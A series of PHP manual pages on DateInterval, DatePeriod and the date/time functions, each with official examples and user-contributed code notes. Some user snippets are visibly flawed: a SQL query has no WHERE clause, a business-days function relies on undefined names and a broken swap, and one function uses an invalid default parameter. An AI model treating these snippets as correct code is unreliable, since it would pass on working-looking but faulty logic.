The DateInterval::format() method does not recalculate carry over points in time strings nor in date segments. This is expected because it is not possible to overflow values like "32 days" which could be interpreted as anything from "1 month and 4 days" to "1 month and 1 day".

Examples

Example #1 DateInterval example

<?php

$interval = new DateInterval('P2Y4DT6H8M');
echo $interval->format('%d days');

?>

The above example will output:

4 days

Example #2 DateInterval and carry over points

<?php

$interval = new DateInterval('P32D');
echo $interval->format('%d days');

?>

The above example will output:

32 days

Example #3 DateInterval and DateTime::diff() with the %a and %d modifiers

<?php

$january = new DateTime('2010-01-01');
$february = new DateTime('2010-02-01');
$interval = $february->diff($january);

// %a will output the total number of days.
echo $interval->format('%a total days')."\n";

// While %d will only output the number of days not already covered by the
// month.
echo $interval->format('%m month, %d days');

?>

The above example will output:

31 total days
1 month, 0 days

See Also

  • DateTime::diff() - Returns the difference between two DateTime objects

User Contributed Notes

kulakov74 at yandex dot ru 26-Jan-2014 06:24
glavic, this does not eliminate the problem of "32 days", if you use your class for normalizing intervals of days, because the result will depend on the current month which is used for DateTime by default. And if that does not matter (because the interval is not that long) you don't have to call diff() to get the same recalculation:
$DT=new DateTime('0000-01-01'); $DT->add($oInt); echo($DT->format('Y-m-d H:i:s'));
glavic at gmail dot com 12-Sep-2013 07:58
How to easy recalculate carry over points:

<?php
class DateIntervalEnhanced extends DateInterval {

    public function recalculate()
    {
        $from = new DateTime;
        $to = clone $from;
        $to = $to->add($this);
        $diff = $from->diff($to);
        foreach ($diff as $k => $v) $this->$k = $v;
        return $this;
    }

}

$di = new DateIntervalEnhanced('PT3600S');
echo "Instead of " . $di->format('%h:%i:%s') . " it outputs " . $di->recalculate()->format('%h:%i:%s');
# output will be: "Instead of 0:0:3600 it outputs 1:0:0"
beowolve at gmail dot com 03-Jul-2013 07:13
German Version of formatDateDiff:

function formatDateDiff($start, $end=null) {
    if(!($start instanceof DateTime)) {
        $start = new DateTime($start);
    }

    if($end === null) {
        $end = new DateTime();
    }

    if(!($end instanceof DateTime)) {
        $end = new DateTime($start);
    }

    $interval = $end->diff($start);
    $doPlural = function($nb,$str){
        if ($nb > 1) {
            switch ($str) {
                case 'Jahr':
                case 'Monat':
                case 'Tag':
                    return $str.'e';
                case 'Stunde':
                case 'Minute':
                case 'Sekunde':
                    return $str.'n';
            }
        } else
            return $str;
    }; // adds plurals

    $format = array();
    if($interval->y !== 0) {
        $format[] = "%y ".$doPlural($interval->y, "Jahr");
    }
    if($interval->m !== 0) {
        $format[] = "%m ".$doPlural($interval->m, "Monat");
    }
    if($interval->d !== 0) {
        $format[] = "%d ".$doPlural($interval->d, "Tag");
    }
    if($interval->h !== 0) {
        $format[] = "%h ".$doPlural($interval->h, "Stunde");
    }
    if($interval->i !== 0) {
        $format[] = "%i ".$doPlural($interval->i, "Minute");
    }
    if($interval->s !== 0) {
        $format[] = "%s ".$doPlural($interval->s, "Sekunde");
    }

    if(count($format)==0 || (count($format)==1 && $interval->s !== 0)) {
        return "weniger als eine Minute";
    }

    // We use the two biggest parts
    if(count($format) > 1) {
        $format = array_shift($format).", ".array_shift($format);
    } else {
        $format = array_pop($format);
    }

    // Prepend 'since ' or whatever you like
    return $interval->format($format);
}
balaclark at gmail dot com 02-Jun-2011 12:58
Be aware that your default timezone can sometimes alter the result of a diff so that the returned months/days are incorrect.

There is a bug report at: http://bugs.php.net/bug.php?id=52480
pekka at gmx dot de 13-Feb-2011 12:20
Note that `%a` is broken on Windows on VC6 builds. http://bugs.php.net/bug.php?id=51184
kuzb 05-Feb-2011 02:15
Quick class to allow you to input a time in any unit, and have it recalculate in to different denominations (for example, seconds to hours, minutes and seconds):

<?php
    class DateIntervalEnhanced extends DateInterval
    {

      /* Keep in mind that a year is seen in this class as 365 days, and a month is seen as 30 days.
         It is not possible to calculate how many days are in a given year or month without a point of
         reference in time.*/
      public function to_seconds()
      {
        return ($this->y * 365 * 24 * 60 * 60) +
               ($this->m * 30 * 24 * 60 * 60) +
               ($this->d * 24 * 60 * 60) +
               ($this->h * 60 * 60) +
               ($this->i * 60) +
               $this->s;
      }

      public function recalculate()
      {
        $seconds = $this->to_seconds();
        $this->y = floor($seconds/60/60/24/365);
        $seconds -= $this->y * 31536000;
        $this->m = floor($seconds/60/60/24/30);
        $seconds -= $this->m * 2592000;
        $this->d = floor($seconds/60/60/24);
        $seconds -= $this->d * 86400;
        $this->h = floor($seconds/60/60);
        $seconds -= $this->h * 3600;
        $this->i = floor($seconds/60);
        $seconds -= $this->i * 60;
        $this->s = $seconds;
      }
    }

    // Example usage
    $di = new DateIntervalEnhanced('PT3600S');
    $di->recalculate();
    // outputs 1:0:0 instead of 0:0:3600 now!
    echo $di->format('%H:%i:%s');
?>
baptiste dot place at utopiaweb dot fr 15-Mar-2010 04:47
With php 5.3, DateTime is sweet !
Here is one quick example :

<?php
/**
 * A sweet interval formatting, will use the two biggest interval parts.
 * On small intervals, you get minutes and seconds.
 * On big intervals, you get months and days.
 * Only the two biggest parts are used.
 *
 * @param DateTime $start
 * @param DateTime|null $end
 * @return string
 */
public function formatDateDiff($start, $end=null) {
    if(!($start instanceof DateTime)) {
        $start = new DateTime($start);
    }

    if($end === null) {
        $end = new DateTime();
    }

    if(!($end instanceof DateTime)) {
        $end = new DateTime($start);
    }

    $interval = $end->diff($start);
    $doPlural = function($nb,$str){return $nb>1?$str.'s':$str;}; // adds plurals

    $format = array();
    if($interval->y !== 0) {
        $format[] = "%y ".$doPlural($interval->y, "year");
    }
    if($interval->m !== 0) {
        $format[] = "%m ".$doPlural($interval->m, "month");
    }
    if($interval->d !== 0) {
        $format[] = "%d ".$doPlural($interval->d, "day");
    }
    if($interval->h !== 0) {
        $format[] = "%h ".$doPlural($interval->h, "hour");
    }
    if($interval->i !== 0) {
        $format[] = "%i ".$doPlural($interval->i, "minute");
    }
    if($interval->s !== 0) {
        if(!count($format)) {
            return "less than a minute ago";
        } else {
            $format[] = "%s ".$doPlural($interval->s, "second");
        }
    }

    // We use the two biggest parts
    if(count($format) > 1) {
        $format = array_shift($format)." and ".array_shift($format);
    } else {
        $format = array_pop($format);
    }

    // Prepend 'since ' or whatever you like
    return $interval->format($format);
}
?>


The DatePeriod class

(PHP 5 >= 5.3.0)

Introduction

Represents a date period.

A date period allows iteration over a set of dates and times, recurring at regular intervals, over a given period.

Class synopsis

DatePeriod implements Traversable {
/* Constants */
const integer EXCLUDE_START_DATE = 1 ;
/* Methods */
public __construct ( DateTime $start , DateInterval $interval , int $recurrences [, int $options ] )
public __construct ( DateTime $start , DateInterval $interval , DateTime $end [, int $options ] )
public __construct ( string $isostr [, int $options ] )
}

Predefined Constants

DatePeriod::EXCLUDE_START_DATE

Exclude start date, used in DatePeriod::__construct().

Table of Contents

  • DatePeriod::__construct — Creates a new DatePeriod object

User Contributed Notes

patrick at adrichem dot nu 22-Jan-2014 08:32
DatePeriod is not compatible with negative intervals.

To do so you can simply use DateInterval and loop through it yourself like this: (not start should be ahead of end if you use a negative interval

    class DateRange extends ArrayIterator
    {

        protected $oDate = null;
        protected $oStartDate = null;
        protected $oEndDate = null;
        protected $oInterval = null;

        public function __construct( DateTime $oStartDate, DateTime $oEndDate, DateInterval $oInterval = null )
        {
            $this->oStartDate = $oStartDate;
            $this->oDate = clone $oStartDate;
            $this->oEndDate = $oEndDate;
            $this->oInterval = $oInterval;
        }

        public function next()
        {
            $this->oDate->add($this->oInterval);
            return $this->oDate;
        }

        public function current()
        {
            return $this->oDate;
        }

        public function valid()
        {
            if ($this->oStartDate > $this->oEndDate)
            {
                return $this->oDate >= $this->oEndDate;
            }
            return $this->oDate <= $this->oEndDate;
        }

    }

$oRange = new DateRange(new DateTime("2013-10-01"), new DateTime("2013-01-01"), DateInterval::createFromDateString("-1 month") );
    foreach ($oRange as $oDate)
    {
        echo $oDate->format("Y-m-d") . "<br />";
    }
josh dot love at verizon dot net 27-Aug-2012 11:23
Just an example to include the end date using the DateTime method 'modify'

<?php

$begin = new DateTime( '2012-08-01' );
$end = new DateTime( '2012-08-31' );
$end = $end->modify( '+1 day' );

$interval = new DateInterval('P1D');
$daterange = new DatePeriod($begin, $interval ,$end);

foreach($daterange as $date){
    echo $date->format("Ymd") . "<br>";
}
?>
logos-php at kith dot org 06-Jul-2012 04:18
Thanks much to those of you who supplied sample code; that helps a lot.

I wanted to mention another thing that helped me: when you do that foreach ( $period as $dt ), the $dt values are DateTime objects.

That may be obvious to those of you with more experience, but I wasn't sure until I looked it up on Stack Overflow. So I figured it was worth posting here to help others like me who might've been confused or uncertain.
Aurelien Marchand 09-Mar-2011 09:11
Warning About DatePeriod for Some Versions of PHP
*****************************************

Some versions of PHP had a bug so that caused DatePeriod to act strangely. For instance, the following code:

<?php
$start = DateTime::createFromFormat("Y-m-d H:i:s","2011-01-01 00:00:00",new DateTimeZone("America/Toronto"));
$interval = new DateInterval("P1M"); // 1 month
$occurrences = 3;
$period = new DatePeriod($start,$interval,$occurrences);
foreach($period as $dt){
  echo $dt->format("Y-m-d H:i:s") . "\n";
}
foreach($period as $dt){
  echo $dt->format("Y-m-d H:i:s") . "\n";
}
?>

Would produce the following text:
2011-01-01 00:00:00
2011-02-01 00:00:00
2011-03-01 00:00:00
2011-04-01 00:00:00
2011-05-01 00:00:00
2011-06-01 00:00:00
2011-07-01 00:00:00
2011-08-01 00:00:00

Instead of:
2011-01-01 00:00:00
2011-02-01 00:00:00
2011-03-01 00:00:00
2011-04-01 00:00:00
2011-01-01 00:00:00
2011-02-01 00:00:00
2011-03-01 00:00:00
2011-04-01 00:00:00

5.3.2 fails
5.3.3 fails
5.3.4 -??-
5.3.5 works
Memori 25-Feb-2011 09:19
If you want to include the end-date, add one day to it:

<?php
$startDate = new DateTime();
$endDate = new DateTime();

$startDateInt = new DateInterval( "P1Y" );
$endDateInt = new DateInterval( "P1D" );

$startDate->sub( $startDateInt );
$endDate->add( $endDateInt );

$periodInt = new DateInterval( "P1M" );
$period = new DatePeriod( $startDate, $periodInt, $endDate );

// At februari 2011:
// $period = (8,9,10,11,12,1,2)
?>
jkaatz at gmx dot de 10-Jul-2009 10:55
Nice example from PHP Spring Conference (thanks to Johannes Schlüter and David Zülke)

<?php
$begin = new DateTime( '2007-12-31' );
$end = new DateTime( '2009-12-31 23:59:59' );

$interval = DateInterval::createFromDateString('last thursday of next month');
$period = new DatePeriod($begin, $interval, $end, DatePeriod::EXCLUDE_START_DATE);

foreach ( $period as $dt )
  echo $dt->format( "l Y-m-d H:i:s\n" );
?>

DateInterval specs could be found at http://en.wikipedia.org/wiki/ISO_8601#Time_intervals


Creates a new DatePeriod object

  • « DatePeriod
  • Date/Time Functions »
  • PHP Manual
  • DatePeriod
  • Creates a new DatePeriod object

DatePeriod::__construct

(PHP 5 >= 5.3.0)

DatePeriod::__construct — Creates a new DatePeriod object

Description

public DatePeriod::__construct ( DateTime $start , DateInterval $interval , int $recurrences [, int $options ] )
public DatePeriod::__construct ( DateTime $start , DateInterval $interval , DateTime $end [, int $options ] )
public DatePeriod::__construct ( string $isostr [, int $options ] )

Creates a new DatePeriod object.

Parameters

start

The start date of the period.

interval

The interval between recurrences within the period.

recurrences

The number of recurrences.

end

The end date of the period.

isostr

An ISO 8601 repeating interval specification.

options

Can be set to DatePeriod::EXCLUDE_START_DATE to exclude the start date from the set of recurring dates within the period.

Examples

Example #1 DatePeriod example

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');
$recurrences = 4;
$iso = 'R4/2012-07-01T00:00:00Z/P7D';

// All of these periods are equivalent.
$period = new DatePeriod($start, $interval, $recurrences);
$period = new DatePeriod($start, $interval, $end);
$period = new DatePeriod($iso);

// By iterating over the DatePeriod object, all of the
// recurring dates within that period are printed.
foreach ($period as $date) {
    echo $date->format('Y-m-d')."\n";
}
?>

The above example will output:

2012-07-01
2012-07-08
2012-07-15
2012-07-22
2012-07-29

Example #2 DatePeriod example with DatePeriod::EXCLUDE_START_DATE

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');

$period = new DatePeriod($start, $interval, $end,
                         DatePeriod::EXCLUDE_START_DATE);

// By iterating over the DatePeriod object, all of the
// recurring dates within that period are printed.
// Note that, in this case, 2012-07-01 is not printed.
foreach ($period as $date) {
    echo $date->format('Y-m-d')."\n";
}
?>

The above example will output:

2012-07-08
2012-07-15
2012-07-22
2012-07-29

User Contributed Notes

lars at hp-designs dot com 07-Aug-2012 02:02
When you add the time 23:59:59 to the end DateTime object something like the following then the end date will be included in the period:

<?php
$date_start = new DateTime('2012-03-12');
$date_end = new DateTime('2012-03-22 23:59:59');

$interval = '+2 days';
$date_interval = DateInterval::createFromDateString($interval);

$period = new DatePeriod($date_start, $date_interval, $date_end, DatePeriod::EXCLUDE_START_DATE);

foreach($period as $dt) {
 echo $dt->format('d/m');
}
?>

OUTPUT:
14/03
16/03
18/03
20/03
22/03
simon dot kohlmeyer at mayflower dot de 03-Nov-2010 12:50
I found two things useful to know that aren't covered here.

1. endDate is excluded:

<?php
$i = new DateInterval('P1D');
$d1 = new Datetime();
$d2 = clone $d1; $d2->add($i);
foreach(new DatePeriod($d1, $i, $d2) as $d) {
    echo $d->format('Y-m-d H:i:s') . "\n";
}
?>

Will output:
2010-11-03 12:39:53

(Another one because I got it wrong at first)
2. For the first form, recurrences really means REcurrences, not occurences.

<?php
$i = new DateInterval('P1D');
$d = new Datetime();
foreach(new DatePeriod($d, $i, 1) as $d) {
    echo $d->format('Y-m-d H:i:s') . "\n";
}
?>

Will output:
2010-11-03 12:41:05
2010-11-04 12:41:05


Date/Time Functions

Table of Contents

  • checkdate — Validate a Gregorian date
  • date_add — Alias of DateTime::add
  • date_create_from_format — Alias of DateTime::createFromFormat
  • date_create_immutable_from_format — Alias of DateTimeImmutable::createFromFormat
  • date_create_immutable — Alias of DateTimeImmutable::__construct
  • date_create — Alias of DateTime::__construct
  • date_date_set — Alias of DateTime::setDate
  • date_default_timezone_get — Gets the default timezone used by all date/time functions in a script
  • date_default_timezone_set — Sets the default timezone used by all date/time functions in a script
  • date_diff — Alias of DateTime::diff
  • date_format — Alias of DateTime::format
  • date_get_last_errors — Alias of DateTime::getLastErrors
  • date_interval_create_from_date_string — Alias of DateInterval::createFromDateString
  • date_interval_format — Alias of DateInterval::format
  • date_isodate_set — Alias of DateTime::setISODate
  • date_modify — Alias of DateTime::modify
  • date_offset_get — Alias of DateTime::getOffset
  • date_parse_from_format — Get info about given date formatted according to the specified format
  • date_parse — Returns associative array with detailed info about given date
  • date_sub — Alias of DateTime::sub
  • date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end
  • date_sunrise — Returns time of sunrise for a given day and location
  • date_sunset — Returns time of sunset for a given day and location
  • date_time_set — Alias of DateTime::setTime
  • date_timestamp_get — Alias of DateTime::getTimestamp
  • date_timestamp_set — Alias of DateTime::setTimestamp
  • date_timezone_get — Alias of DateTime::getTimezone
  • date_timezone_set — Alias of DateTime::setTimezone
  • date — Format a local time/date
  • getdate — Get date/time information
  • gettimeofday — Get current time
  • gmdate — Format a GMT/UTC date/time
  • gmmktime — Get Unix timestamp for a GMT date
  • gmstrftime — Format a GMT/UTC time/date according to locale settings
  • idate — Format a local time/date as integer
  • localtime — Get the local time
  • microtime — Return current Unix timestamp with microseconds
  • mktime — Get Unix timestamp for a date
  • strftime — Format a local time/date according to locale settings
  • strptime — Parse a time/date generated with strftime
  • strtotime — Parse about any English textual datetime description into a Unix timestamp
  • time — Return current Unix timestamp
  • timezone_abbreviations_list — Alias of DateTimeZone::listAbbreviations
  • timezone_identifiers_list — Alias of DateTimeZone::listIdentifiers
  • timezone_location_get — Alias of DateTimeZone::getLocation
  • timezone_name_from_abbr — Returns the timezone name from abbreviation
  • timezone_name_get — Alias of DateTimeZone::getName
  • timezone_offset_get — Alias of DateTimeZone::getOffset
  • timezone_open — Alias of DateTimeZone::__construct
  • timezone_transitions_get — Alias of DateTimeZone::getTransitions
  • timezone_version_get — Gets the version of the timezonedb

User Contributed Notes

Hans 15-Aug-2011 09:19
I needed a way to display an announcement on a shopping site, that would warn users that orders placed between a certain date range, would not be shipped until after a certain date.

I created this simple date detection code to display the notice on certain pages. You can just copy the code and save it to a file on the site and include it anywhere you need to perform a function, or display a notice.

<?php
/*
    Code to show a message only for a certain time frame.
    This is a simple include file that can be used to display a message
    on any pages that use it.
    Simply us a standard include instruction to this file on the page/s where
    you want the notice to appear.
    Written by Hans Kiesouw - hans at wotworx dot com
*/

$start = new DateTime('30-07-2011'); // DD-MM-YYYY
$endDate= new DateTime('07-08-2011'); // DD-MM-YYYY
$curdate = new DateTime(date('d-m-Y'));

if ($start <= $curdate && $curdate <= $endDate) {
    /*
    The message below will appear if the current date is between the start and
    endDate - used standards HTML to ensure that any code will not be
    escaped by PHP. You can use any code here to wish to execute for the
    date range.
    */
    ?>

    <p><strong><font color="#FF0000">Please Note: Any orders placed between July 30th and August 7th will only be shipped on August 8th. We apologize for any inconvenience and thank you for your order.</font></strong></p>
 <?php
 // don't forget this last bit, it ends the if statement!
}

?>
luck dot lil dot leprechaun at gmail dot com 20-May-2009 12:53
This is an easily extendable and pretty way to output human-readable date differences such as "1 day 2 hours ago", "6 months ago", "3 years 7 months 14 days 1 hour 4 minutes 16 seconds" etc etc.
Change "$levels = 2;" to whatever you want. A value of 1 will limit to only one number in the result ("3 days ago"). A value of 3 would result in up to three ("3 days 1 hour 2 minutes ago")

It can be used in the following ways:
echo compare_dates($start_date,$end_date);
echo compare_dates($end_date,$start_date);
echo compare_dates($start_date); //end date will be assumed as time();

<?php
function compare_dates($date1, $date2 = time())
    {
    $blocks = array(
        array('name'=>'year','amount'    =>    60*60*24*365    ),
        array('name'=>'month','amount'    =>    60*60*24*31    ),
        array('name'=>'week','amount'    =>    60*60*24*7    ),
        array('name'=>'day','amount'    =>    60*60*24    ),
        array('name'=>'hour','amount'    =>    60*60        ),
        array('name'=>'minute','amount'    =>    60        ),
        array('name'=>'second','amount'    =>    1        )
        );

    $diff = abs($date1-$date2);

    $levels = 2;
    $current_level = 1;
    $result = array();
    foreach($blocks as $block)
        {
        if ($current_level > $levels) {break;}
        if ($diff/$block['amount'] >= 1)
            {
            $amount = floor($diff/$block['amount']);
            if ($amount>1) {$plural='s';} else {$plural='';}
            $result[] = $amount.' '.$block['name'].$plural;
            $diff -= $amount*$block['amount'];
            $current_level++;
            }
        }
    return implode(' ',$result).' ago';
    }
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jorge AT dontspam DOT com) on 22-OCT-2009.]
Robb_Bean at gmx dot nospam dot net 19-Mar-2008 12:47
With PHP 5.1 and 5.2 the languages datetime support has changed. Although these functions should guess your local timezone settings, they may fail if using a default configuration in a "pre-5.1 way", which means setting no timezone for PHP. In the case PHP could not get a timezone it emits a E_STRICT warning. Note that this affects _all_ datetime functions and keep it in mind when porting software from previous versions to 5.1 or later! It may also confuse your error handling (this is the way I noticed that things have changed, since these changes are not documentated _here_).

References:

http://www.php.net/manual/de/migration51.datetime.php
http://www.php.net/manual/de/migration52.datetime.php
sagar 28-Feb-2008 05:53
<?php
####################################
# Provide week number and get start_timestamp and end_timestamp
#####################################

// this week number will come from the timeshare form
 $week = 51;

$times = get_start_and_end_date_from_week($week);
$start_time = $times['start_timestamp'];
$end_time = $times['end_timestamp'];

function get_start_and_end_date_from_week ($w)
{
    $y = date("Y", time());
    $o = 6; // week starts from sunday by default

    $days = ($w - 1) * 7 + $o;

    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] == 0) $firstdayofyear["wday"] += 7;
    # in getdate, Sunday is 0 instead of 7
    $firstmonday = getdate(mktime(0,0,0,1,1-$firstdayofyear["wday"]+1,$y));
    $calcdate = getdate(mktime(0,0,0,$firstmonday["mon"], $firstmonday["mday"]+$days,$firstmonday["year"]));

    $sday = $calcdate["mday"];
    $smonth = $calcdate["mon"];
    $syear = $calcdate["year"];

    $timestamp['start_timestamp'] =  mktime(0, 0, 0, $smonth, $sday, $syear);
    $timestamp['end_timestamp'] =  $timestamp['start_timestamp'] + (60*60*24*7);

    return $timestamp;

}    # function datefromweek
?>
stoicnluv at gmail dot com 06-Nov-2007 12:14
A better and accurate function to calculate the difference between 2 dates. Takes leap years and DST into consideration. Accepts string date or timestamp as arguments.

<?php
function date_diff($d1, $d2){
    $d1 = (is_string($d1) ? strtotime($d1) : $d1);
    $d2 = (is_string($d2) ? strtotime($d2) : $d2);

    $diff_secs = abs($d1 - $d2);
    $base_year = min(date("Y", $d1), date("Y", $d2));

    $diff = mktime(0, 0, $diff_secs, 1, 1, $base_year);
    return array(
        "years" => date("Y", $diff) - $base_year,
        "months_total" => (date("Y", $diff) - $base_year) * 12 + date("n", $diff) - 1,
        "months" => date("n", $diff) - 1,
        "days_total" => floor($diff_secs / (3600 * 24)),
        "days" => date("j", $diff) - 1,
        "hours_total" => floor($diff_secs / 3600),
        "hours" => date("G", $diff),
        "minutes_total" => floor($diff_secs / 60),
        "minutes" => (int) date("i", $diff),
        "seconds_total" => $diff_secs,
        "seconds" => (int) date("s", $diff)
    );
}

$a = date_diff("2006-11-01", "2007-11-01");

echo "<pre>";
print_r($a);
echo "</pre>";
?>

This example will output (if your timezone uses US DST):

Array
(
    [years] => 0
    [months_total] => 11
    [months] => 11
    [days_total] => 364
    [days] => 30
    [hours_total] => 8759
    [hours] => 23
    [minutes_total] => 525540
    [minutes] => 0
    [seconds_total] => 31532400
    [seconds] => 0
)

As you can see, the result is not exactly 1 year (less 1 hour) since Nov 1, 2006 is not DST while Nov 1, 2007 is DST.
venoel at rin dot ru 26-Oct-2007 12:33
May be useful for somebody. This function takes on daylight saving time

<?php
Function DateDiff($date1,$date2) {
  $timedifference=$date2-$date1;
  $corr=date("I",$date2)-date("I",$date1);
  $timedifference+=$corr;
  return $timedifference;
}
?>

Example:

<?php
$d1=mktime(2,0,0,10,28,2007);
$d2=mktime(4,0,0,10,28,2007);
$period=DateDiff($d1,$d2);
printf("<br>%s",date("I d.m.Y H:i",$d1));
printf("<br>%u hour",$period/3600);
printf("<br>%s",date("I d.m.Y H:i",$d2));
?>

Getting 2 hour instead 3.
koch.ro 17-Oct-2007 09:42
Not really elegant, but tells you, if your installed timezonedb is the most recent:

<?php
class TestDateTimeTimezonedbVersion extends PHPUnit_Framework_TestCase
{
    public function testTimezonedbIsMostRecent()
    {
        ini_set( 'date.timezone', 'Europe/Berlin' );
        ob_start();
        phpinfo(INFO_MODULES);
        $info = ob_get_contents();
        ob_end_clean();
        $start = strpos( $info, 'Timezone Database Version' ) + 29;

        $this->assertTrue( FALSE !== $start, 'Seems there is no timezone DB installed' );

        $end   = strpos( $info, "\n", $start );
        $installedVersion = substr( $info, $start, $end - $start );

        exec( 'pecl remote-info timezonedb', &$output );
        $availableVersion = substr( $output[2], 12 );

        $this->assertEquals( $availableVersion, $installedVersion,
        'The installed timezonedb is not actual. Installed: '.$installedVersion
        .' available: '.$availableVersion
        );
    }
}
?>
aquatakat at telus dot net 24-Sep-2007 10:25
I wrote a simple script to format a duration in seconds. Give the function some value in seconds and it will return an array.

<?php

function format_duration($seconds) {

    $periods = array(
        'centuries' => 3155692600,
        'decades' => 315569260,
        'years' => 31556926,
        'months' => 2629743,
        'weeks' => 604800,
        'days' => 86400,
        'hours' => 3600,
        'minutes' => 60,
        'seconds' => 1
    );

    $durations = array();

    foreach ($periods as $period => $seconds_in_period) {
        if ($seconds >= $seconds_in_period) {
            $durations[$period] = floor($seconds / $seconds_in_period);
            $seconds -= $durations[$period] * $seconds_in_period;
        }
    }

    return $durations;

}

echo format_duration(864);

/*
[minutes] => 14
[seconds] => 24
*/

echo format_duration(3600);

/*
[hours] => 1
*/

echo format_duration(11111111);

/*
[months] => 4
[days] => 6
[hours] => 20
[minutes] => 28
[seconds] => 59
*/

?>
Darren Edwards 06-Sep-2007 05:54
I was looking for a solution where I could return the number of days, hours, Minutes and seconds between two entries in a table.
DATE_DIFF is not running on my mysql server as my provider uses mysql version 4.0.25
Solution was to use to days and std time functions to calculate the difference in one call.
The fields stored in the table(report_table) are
time(00:00:00),
date(0000-00-00) and record(enum) which tells the app the type of log stored. EG start or end of a report.

SELECT
(TO_DAYS( `end`.`date` ) - TO_DAYS( `start`.`date` ))
-
( second( `end`.`time` ) + (minute( `end`.`time` )*60) + (hour( `end`.`time` )*3600)
<
 second( `start`.`time` ) + (minute( `start`.`time` )*60) + (hour( `start`.`time` )*3600))
AS `days` ,
SEC_TO_TIME(
(second( `end`.`time` ) + (minute( `end`.`time` )*60) + (hour( `end`.`time` )*3600) )
-
(second( `start`.`time` ) + (minute( `start`.`time` )*60) + (hour( `start`.`time` )*3600) )
 ) AS `hms`,
`start`.`time` as `start`,
`end`.`time`  as `end`

FROM `report_table` AS `start` , `report_table` AS `end`
AND `start`.`record` = 'Report Begin'
AND `end`.`record` = 'Report End'
LIMIT 1

If there is no end of report then it will not return a result, as you would expect.
Leopoldo A dot Oducado (poducado at comfsm dot fm) 16-Feb-2007 04:50
Here is my function to count the number days, weeks, months, and year. I tried it below 1970 and it works.

<?php
function datecal($date,$return_value)
{
$date = explode("/", $date);
$month_begin = $date[0];
$month_begin_date = $date[1];
$year1 = $date[2];
$month_end = date("n");
$month_end_date = date("j");
$year2 = date("Y");
$days_old = 0;
$years_old = 0;
$months_old = 0;
if($month_begin==12)
{
  $month = 1;
  $year = $year1+1;
}
else
{
  $month = $month_begin+1;
  $year = $year1;
}
$begin_plus_days = cal_days_in_month(CAL_GREGORIAN, $month_begin, $year1) - $month_begin_date;
$end_minus_days = cal_days_in_month(CAL_GREGORIAN, $month_end, $year2) - $month_end_date;
while ($year <= $year2)
{
     if($year == $year2)
    {
      $days_old = $days_old + cal_days_in_month(CAL_GREGORIAN, $month, $year);
      if($month < $month_end)
        {
         $months_old = $months_old + 1;
         $month = $month + 1;
        }
          elseif ($month==$month_end and $month_end_date >= $month_begin_date)
            {
         $year = $year2+1;
        }
      else
        {
         $year = $year2+1;
        }
    }
    else
    {
     $days_old = $days_old + cal_days_in_month(CAL_GREGORIAN, $month, $year);
         if ($month <= 11)
            {
         $month = $month + 1;
         $months_old = $months_old + 1;
            }
         else
            {
         $month = 1;
         $year = $year + 1;
         $months_old = $months_old + 1;
            }
    }
}
$days_old = ($days_old + $begin_plus_days) - $end_minus_days;
if($return_value == "d")
  { return $days_old; }
elseif ($return_value == "w")
  { return intval($days_old/7); }
elseif ($return_value == "m")
  { return $months_old; }
elseif ($return_value == "y")
  { return intval($months_old/12); }
}

echo datecal("08/13/1975","m");
?>
bgold at matrix-consultants dot com 17-Jan-2007 02:08
When debugging code that stores date/time values in a database, you may find yourself wanting to know the date/time that corresponds to a given unix timestamp, or the timestamp for a given date & time.

The following script will do the conversion either way.  If you give it a numeric timestamp, it will display the corresponding date and time.  If you give it a date and time (in almost any standard format), it will display the timestamp.

All conversions are done for your locale/time zone.

<?php
        while (true)
        {
                // Read a line from standard in.
                echo "enter time to convert: ";
                $inline = fgets(STDIN);
                $inline = trim($inline);
                if ($inline == "" || $inline == ".")
                        break;

                // See if the line is a date.
                $pos = strpos($inline, "/");
                if ($pos === false) {
                        // not a date, should be an integer.
                        $date = date("m/d/Y G:i:s", $inline);
                        echo "int2date: $inline -> $date\n";
                } else {
                        $itime = strtotime($inline);
                        echo "date2int: $inline -> $itime\n";
                }
        }
?>
andreencinas at yahoo dot com dot br 28-Sep-2005 02:08
<?php
       //function like dateDiff Microsoft
       //not error in year Bissesto

       function dateDiff($interval,$dateTimeBegin,$dateTimeEnd) {
         //Parse about any English textual datetime
         //$dateTimeBegin, $dateTimeEnd

         $dateTimeBegin=strtotime($dateTimeBegin);
         if($dateTimeBegin === -1) {
           return("..begin date Invalid");
         }

         $dateTimeEnd=strtotime($dateTimeEnd);
         if($dateTimeEnd === -1) {
           return("..end date Invalid");
         }

         $dif=$dateTimeEnd - $dateTimeBegin;

         switch($interval) {
           case "s"://seconds
               return($dif);

           case "n"://minutes
               return(floor($dif/60)); //60s=1m

           case "h"://hours
               return(floor($dif/3600)); //3600s=1h

           case "d"://days
               return(floor($dif/86400)); //86400s=1d

           case "ww"://Week
               return(floor($dif/604800)); //604800s=1week=1semana

           case "m": //similar result "m" dateDiff Microsoft
               $monthBegin=(date("Y",$dateTimeBegin)*12)+
                 date("n",$dateTimeBegin);
               $monthEnd=(date("Y",$dateTimeEnd)*12)+
                 date("n",$dateTimeEnd);
               $monthDiff=$monthEnd-$monthBegin;
               return($monthDiff);

           case "yyyy": //similar result "yyyy" dateDiff Microsoft
               return(date("Y",$dateTimeEnd) - date("Y",$dateTimeBegin));

           default:
               return(floor($dif/86400)); //86400s=1d
         }

       }
?>
glashio at xs4all dot nl 27-Sep-2005 09:46
Calculate Sum BusinessDays (Mon till Fri) between two date's :

<?php
function businessdays($begin, $end) {
    $rbegin = is_string($begin) ? strtotime(strval($begin)) : $begin;
    $rend = is_string($end) ? strtotime(strval($end)) : $end;
    if ($rbegin < 0 || $rend < 0)
        return 0;

    $begin = workday($rbegin, TRUE);
    $end = workday($rend, FALSE);

    if ($end < $begin) {
        $end = $begin;
        $begin = $end;
    }

    $difftime = $end - $begin;
    $diffdays = floor($difftime / (24 * 60 * 60)) + 1;

    if ($diffdays < 7) {
        $abegin = getdate($rbegin);
        $aend = getdate($rend);
        if ($diffdays == 1 && ($astart['wday'] == 0 || $astart['wday'] == 6) && ($aend['wday'] == 0 || $aend['wday'] == 6))
            return 0;
        $abegin = getdate($begin);
        $aend = getdate($end);
        $weekends = ($aend['wday'] < $abegin['wday']) ? 1 : 0;
    } else
        $weekends = floor($diffdays / 7);
    return $diffdays - ($weekends * 2);
}

